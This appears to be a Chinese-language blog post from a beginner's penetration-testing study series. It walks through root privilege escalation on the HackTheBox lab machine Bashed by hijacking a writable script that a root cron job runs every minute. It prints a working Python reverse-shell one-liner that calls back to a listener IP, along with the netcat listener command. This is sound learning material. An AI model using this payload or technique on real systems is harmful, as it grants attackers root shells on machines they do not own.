iT邦幫忙

2026 iThome 鐵人賽

DAY 10
0
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 10 篇

Day 10 — 誰在偷偷執行我的 test.py?從 scriptmanager 到 root 👀

  • 分享至 

  • xImage
  •  

Day 9 我們已經成功取得 Reverse Shell,順利切換成 scriptmanager,並把 TTY Upgrade 搞定,一切看起來如此完美~~~
https://ithelp.ithome.com.tw/upload/images/20260924/20184189wuIJLGBrHB.png
但……

我們拿到的是 scriptmanager,不是 root!

那要怎麼從 scriptmanager 到 root 呢???

提權不是猜謎,是有系統地找機會><

還記得我們在 Day 7 一起走過的「拿到 Shell後的SOP」嗎?

Day 8 的時候我們是 www-data,當時已經跑過一輪基本的列舉,知道我們是誰、現在有什麼權限、這台機器是什麼樣的環境,以及一起一路挖寶!

現在雖然換成了 scriptmanager,但......拿到Shel後的SOP你會想全部再走一輪嗎xddd

(小麻煩!!!人家滲透測是要測試也要準備報告,客戶也不只一個

而且......我們只是換了一個身分><還是在同一台機器呀

我們只要把注意力放在「換成 scriptmanager 之後,哪些東西變得不一樣」就好~

我們真正要關心的是:換了身份,會改變什麼?

身份變了,權限也跟著變了!

那我們現在的力量有多大?

之前 www-data 碰不到、做不到的事情,變成 scriptmanager 之後,是不是就有機會做到了?


這是今天在Bashed機器拿到的target ip: 10.129.73.144
https://ithelp.ithome.com.tw/upload/images/20260924/20184189ohDJjEcE7Y.png

提權不是亂找,要有方法!

換了身份後不要慌,我們一起照著拿到 Shell 後的 SOP,一步一步熟悉我們的新身份!
https://ithelp.ithome.com.tw/upload/images/20260924/201841895m1KjP7a0z.png

Day 8 的時候是 www-data,當時已經跑過一輪了——發現 sudo -l 可以切換到 scriptmanager,也在 /home 目錄看到 scriptmanager 有 /scripts 這個目錄。

現在換成 scriptmanager,不需要全部重來~

但有幾個地方,換了身份之後值得重新看看:

  • sudo -l:scriptmanager 有沒有不同的 sudo 權限?說不定可以水平提權,甚至直接垂直提權(太完美了!!!
  • /scripts:之前看到這個目錄的owner是 scriptmanager~都變身為scriptmanager哩!一定要進去一探究竟!

那就一個一個來吧!


我能做什麼?再跑一次 sudo -l

我們下 sudo -l, 看看 scriptmanager 有沒有什麼 sudo 權限~

https://ithelp.ithome.com.tw/upload/images/20260924/20184189Q5QiXztzDn.png

可惡!!!出現

[sudo] password for scriptmanager:

要我輸入密碼!這是什麼意思

我不是 scriptmanager 嗎?為什麼我要看自己的權限還要輸入密碼?
再確定一次我到底是誰!!!下whoami

https://ithelp.ithome.com.tw/upload/images/20260924/20184189mbv16c0mCQ.png

咦~沒跳掉呀! 我確實還是scriptmanager,查一下到底發生什麼事???

原來~sudo -l 不是每次都有收穫。(嗚嗚 Day 8的我們真的好幸運><

sudo -l 後~有三種可能的結果:

  • 直接列出可以用的身分跟指令:Day 8 的 www-data 就是這種,直接告訴我們sudo允許我們可以變成誰、可以做什麼事
  • 要求密碼:不直接給我們答案,要先輸入密碼驗證身份
  • 完全沒有 sudo 權限:sudo -l在這走不通~

(但我的身分是偷來的~我哪知道他的密碼QQ 這條路先跳過吧~~)


去看 Day 8 留下來的線索:/scripts

既然 sudo -l 暫時走不通,我們就回頭先看看 Day 8 留下來的線索吧

Day 8 我們有看到 /scripts 這個directory的owner是 scriptmanager(是我!!!)
現在我們就是 scriptmanager,趕快來看看這個檔案!!!

確認 /scripts 住在哪

輸入 pwd 看我們現在在哪
https://ithelp.ithome.com.tw/upload/images/20260924/20184189h1osHs7mBI.png

那個......沒記錯的話....../scripts好像住在根目錄?
我們用ls -al ../../../../看看根目錄有沒有他!也順便看看這個directory的rwx權限)
https://ithelp.ithome.com.tw/upload/images/20260924/20184189KWUpO9egct.png
https://ithelp.ithome.com.tw/upload/images/20260924/201841894CJkahNZUr.png
https://ithelp.ithome.com.tw/upload/images/20260924/20184189fB9I73coX9.png


檢視 /scripts 目錄

既然都確認位置了,我們趕快來看看裡面有什麼👀

我們下

ls -al /scripts

ls -al 顯示的是最後修改時間

結果:
https://ithelp.ithome.com.tw/upload/images/20260924/20184189uYFms6C6W4.png

資料夾裡可以看到有 .、.. 這兩個 directory,還有 test.py、test.txt 這 2 個檔案。

好酷!!!test.txt的owner是root耶
為什麼root會住在我家(/scripts)!!!還跟我家檔案(test.py)名子那麼像
一個是 test.py,一個是 test.txt

這兩個檔案該不會有什麼關係(?)

另外!test.txt旁邊的時間 雖然跟上面看起來沒一模一樣
但......這個日期看起來好像是今天(Sep 24)耶👀

真的是今天嗎?

我直接在靶機上用 timedatectl 看一下~

這裡可以看到靶機目前的時間、時區等等資訊!

很好奇這個檔案的最後修改時間怎麼會剛好是今天?

看了一下靶機時間,現在大約是 05:00:00, test.txt 的最後修改時間是 04:45!!!

才過了 15 分鐘...... 👀

test.txt 的權限又是:

-rw-r--r--  1 root root

root 真的有那麼閒,一直在改檔案ㄇ 😂

還是其實……有什麼東西會自動幫 root 改這個檔案?👀

https://ithelp.ithome.com.tw/upload/images/20260924/201841893kQCCb9AwU.png

偷看一下 root 的 test.txt

我們下 cat /scripts/test.txt,偷看他一下
https://ithelp.ithome.com.tw/upload/images/20260924/20184189a0o97pGIAv.png

好像沒有什麼特別的~

我們回來看我們自己的test.py

cat /scripts/test.py

https://ithelp.ithome.com.tw/upload/images/20260924/20184189Hltf81ALw9.png
testing 123!

這不是剛剛 test.txt 裡面的內容嗎?

我寫什麼,root 的 test.txt 就變成什麼???

那我請他把 root 的身分交出 >< 可以ㄇ

我們下nano /scripts/test.py
https://ithelp.ithome.com.tw/upload/images/20260924/201841898R0Z2wRyuo.png

出現
https://ithelp.ithome.com.tw/upload/images/20260924/20184189FJUadqx3im.png

我來把"testing 123!" 變成 "testing 456!",如果test.txt內容也變 "testing 456!",就......代表我可以決定root要執行的檔案的內容耶(想變root惹><

https://ithelp.ithome.com.tw/upload/images/20260924/20184189xjmItNU5iZ.png

按Ctrl+O 存檔,接著按 Enter 確認,再按 Ctrl+X 離開,nano 問我們要不要存(Save modified buffer?),按 N 離開——因為剛才 Ctrl+O 已經存過了,不需要再存一次><

接著下cat /scripts/test.py
https://ithelp.ithome.com.tw/upload/images/20260924/20184189CXOOzpPFDt.png
我們有修改成功耶

再下cat /scripts/test.txt
https://ithelp.ithome.com.tw/upload/images/20260924/20184189vPjYQJRDBY.png
挖!這個檔案真的變了!!!

看起來真的有某個東西在定期跑 test.py!!而且偷偷說我可以控制test.py的內容!!!

但定期跑 test.py的是誰?

回頭看一下test.py的權限:

drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Sep 24 04:45 test.txt

test.py這個檔案的權限是rw-r--r--,

但 test.txt 還是更新了,而且是 root 的。

那它到底怎麼被跑起來的 🤔

偷偷查了一下~原來 x 權限(execute)只管「直接跑」這個動作。但如果換成 python test.py——Python 只是去讀這個檔案的內容、照著執行,不需要檔案本身有 x 權限。所以沒有 x 不代表沒辦法被執行,只是不能「直接」跑而已。

如果有人設定了一個排程,讓 root 每隔一分鐘就用 python 跑 /scripts 裡的腳本——就能解釋我們看到的一切了!

這種「定時自動執行」的機制,在 Linux 叫做 cron job~

去確認一下是不是真的有這個設定:
Linux 的排程設定分散在幾個地方,我們可以從這三個地方找是不是真的有 cron job 在跑我們的/scripts:
/etc/crontab → 系統的主要排程
/etc/cron.d/ → 其他系統排程
/var/spool/cron/crontabs/→ 各個使用者自己的排程

我們下cat /etc/crontab
https://ithelp.ithome.com.tw/upload/images/20260924/20184189kPrSdvFrFO.png
沒有找到針對 /scripts 的排程

我們下cat /etc/cron.d/*
https://ithelp.ithome.com.tw/upload/images/20260924/20184189jWaX4K14gE.png
也沒找到

最後試試ls -la /var/spool/cron/crontabs/
https://ithelp.ithome.com.tw/upload/images/20260924/20184189TaTP1Z4SqP.png

欸!看到 root 的 crontab 檔案了——但我們是 scriptmanager,沒有權限讀它 QQ

沒辦法直接確認內容,但 test.txt 確實有在更新,而且 test.py 根本沒有 execute 權限——這兩個事實加在一起,我們大膽懷疑很可能是 root 的 cron job 在定期跑 /scripts 裡的腳本!

證據不完整,但方向是對的。繼續往下走


提權時間

今天最重要的任務是提權,既然發現我們可以改疑似由root的cron job執行的test.py,那我們就加個reverse shell,讓root自動連過來,把權限乖乖交給我們(哈哈哈我才是root!

step 1 開啟一個新terminal,輸入 nc -lvnp 5555
https://ithelp.ithome.com.tw/upload/images/20260924/201841896YcegWq2ZJ.png

用 5555 這個 port,跟之前的 4444 區分開來

step 2 修改 test.py——把 reverse shell 寫進去

之前 Day 9 的 reverse shell 是自己在 phpbash 執行的,這次換一種方式——把同樣的 reverse shell 程式碼寫進 test.py,讓 root 的 cron job 幫我們執行。效果是一樣的:建立 socket → 連回 Pwnbox → 拿到 shell。差別是這次執行的人是 root,所以拿到的也是 root 的 shell

echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.15.205',5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn('sh')" > /scripts/test.py

這次不用加 python3 -c,直接寫 Python 程式碼進去,cron job 會直接跑這個檔案
> /scripts/test.py:覆蓋寫入 test.py,取代原本的內容

https://ithelp.ithome.com.tw/upload/images/20260924/20184189kZF04SsXxf.png

step 3 回我們的監聽畫面,輸入whoami
https://ithelp.ithome.com.tw/upload/images/20260924/20184189ETdB2rVo3w.png

成功的一刻!!!我們拿到root了!!!

拿到 root 之後,回頭把之前沒有權限讀的 crontab 打開確認:
下ls -la /var/spool/cron/crontabs/
https://ithelp.ithome.com.tw/upload/images/20260924/20184189QJi0IXkMnr.png

下cat /var/spool/cron/crontabs/root
https://ithelp.ithome.com.tw/upload/images/20260924/20184189mGgsSRqpiV.png

找到了——root 每分鐘都會進到 /scripts,用 python 跑所有 .py 檔案!

* * * * * 是 cron 的時間格式,五個欄位代表「分鐘、小時、日期、月份、星期幾」,全部都是 * 代表不限制,也就是每分鐘執行一次。

我們的推測是對的——而且現在也確認了為什麼 test.py 沒有 x (execute) 權限,還是能被 root 執行 ><

答案揭曉~~因為是 Python 直接去讀 test.py 的內容,不是 root 直接執行這個檔案。


回顧時間 🎉

我們在 Day 7 透過 Nmap 知道目標機器 Bashed 開了 80 port,透過目錄爆破找到隱藏的開發者遺留下的 directory。

Day 8 從 directory 中找到可以讓我們輸入指令的 Webshell,透過 Webshell 做目標機器的情蒐,發現 www-data 有 sudo 權限可以切換到 scriptmanager。

Day 9 建立 Python Reverse Shell,切換到 scriptmanager,再做 TTY 升級,取得穩定的終端機連線。

Day 10 今天,我們發現 scriptmanager 擁有的 /scripts/test.py 剛好是 root 排程每分鐘都會執行的腳本——而且我們可以修改它,我們用 reverse shell 覆蓋原本的 test.py,讓 root 排程執行,連回來後,我們所拿到的就是 root shell,擁有 root 的權限哩!!!耶~~~

提權成功!!!🎉

整條攻擊鏈:

Port 80
  → 目錄爆破找到 phpbash
  → Webshell 情蒐
  → www-data 透過 sudo 切換到 scriptmanager
  → 發現 scriptmanager 可修改 /scripts/test.py
  → 發現 root Cron 每分鐘執行 /scripts/*.py
  → 修改 test.py → Reverse Shell → root

明天就是寫 report 囉!我們明天見~


上一篇
Day 9 — Webshell 不夠用?來試試 Reverse Shell!
下一篇
Day 11 — Bashed 的完整技術發現:多個問題怎麼串成攻擊鏈
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》 共 17 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言